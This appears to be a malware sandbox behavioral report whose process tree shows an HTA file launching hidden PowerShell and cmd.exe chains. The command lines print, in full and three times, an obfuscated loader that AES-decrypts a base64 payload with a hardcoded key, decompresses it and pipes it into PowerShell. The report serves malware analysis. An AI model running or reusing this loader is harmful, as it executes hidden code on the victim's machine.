| ZeroBOX

Behavioral Analysis

Process tree

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\twilighttwilight.hta.html

    1636
    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1636 CREDAT:145409

      2224
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }

        564
        • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -

          2940
          • powershell.exe powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq

            1884

Process contents

No process loaded Click on a process in the tree above to load its data.